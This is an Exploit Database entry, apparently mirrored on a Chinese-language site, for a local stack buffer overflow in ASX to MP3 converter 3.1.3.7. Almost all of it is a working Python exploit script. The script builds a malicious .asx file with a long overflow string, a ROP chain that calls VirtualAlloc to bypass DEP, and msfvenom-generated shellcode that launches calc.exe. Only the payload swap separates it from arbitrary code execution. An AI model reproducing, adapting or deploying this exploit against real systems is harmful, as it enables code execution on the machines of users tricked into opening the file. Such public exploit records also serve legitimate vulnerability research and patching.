ASX to MP3 converter 3.1.3.7 – ‘.asx’ Local Stack Overflow (DEP)

• Exploit Database
• 17 阅读

• 作者： max7253
  日期： 2019-10-07
• 类别：

  • local
  平台：

  • windows_x86-64
• 来源：https://www.exploit-db.com/exploits/47468/

• # Exploit Title: ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)
  # Google Dork: N/A
  # Date: 2019-10-06
  # Exploit Author: max7253
  # Vendor Homepage: http://www.mini-stream.net/
  # Software Link: https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-ASXtoMP3Converter.exe
  # Version: 3.1.3.7.2010.11.05
  # Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
  # CVE : N/A
  
  # Note: There is a similar exploit published but it doesn't work in the OS I used:
  # https://www.exploit-db.com/exploits/42963
  # This exploit in the ROP chain uses addresses from ASLR modules. Not sure what OS that exploit was tested on.
  
  
  import struct
  file = 'fuzz_rop.asx'
  #Tested on
  #OS Name: Microsoft Windows 7 Enterprise
  #OS Version:6.1.7601 Service Pack 1 Build 7601
  #System Type: x64-based PC
  
  #msfvenom -p windows/exec cmd=calc.exe -a x86 -b '\x00\x09\x0a' -f python
  buf =b""
  buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29"
  buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28"
  buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35"
  buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b"
  buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6"
  buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc"
  buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04"
  buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49"
  buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1"
  buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b"
  buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86"
  buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17"
  buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2"
  buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40"
  buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c"
  buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49"
  buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc"
  
  payload = "http://"
  payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC"
  
  ## Save allocation type (0x1000) in EDX
  payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
  payload += struct.pack('<L', 0x11111111)
  payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
  payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
  payload += struct.pack('<L', 0xEEEEFEEF)
  payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
  payload += struct.pack('<L', 0x41414141)
  
  ## Save the address of VirtualAlloc() in ESI
  payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN [MSA2Mfilter03.dll] 
  payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
  payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
  payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
  payload += struct.pack('<L', 0x41414141)
  payload += struct.pack('<L', 0x41414141)
  
  ## Save the size of the block in EBX
  payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
  payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN
  
  ## Save the address of (# ADD ESP,8 # RETN) in EBP
  payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
  payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN
  #payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
  
  ## Save memory protection code (0x40) in ECX
  payload += struct.pack('<L', 0x1002ca22) # POP ECX # RETN
  payload += struct.pack('<L', 0xFFFFFFFF)
  payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
  payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
  payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
  payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
  payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
  payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
  payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
  payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
  
  ## Save ROP-NOP in EDI
  payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
  payload += struct.pack('<L', 0x1002D038) # RETN
  
  ## Save NOPs in EAX
  #payload += struct.pack('<L', 0x1003bca4) # POP EAX # RETN [MSA2Mfilter03.dll] 
  #payload += struct.pack('<L', 0x90909090) # nop
  
  ## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
  payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
  payload += struct.pack('<L', 0xA4E2F275)
  payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
  payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN
  
  payload += "\x90" * 4
  payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
  payload += "\x90" * 20
  payload += buf
  
  f = open(file,'w')
  f.write(payload)
  f.close()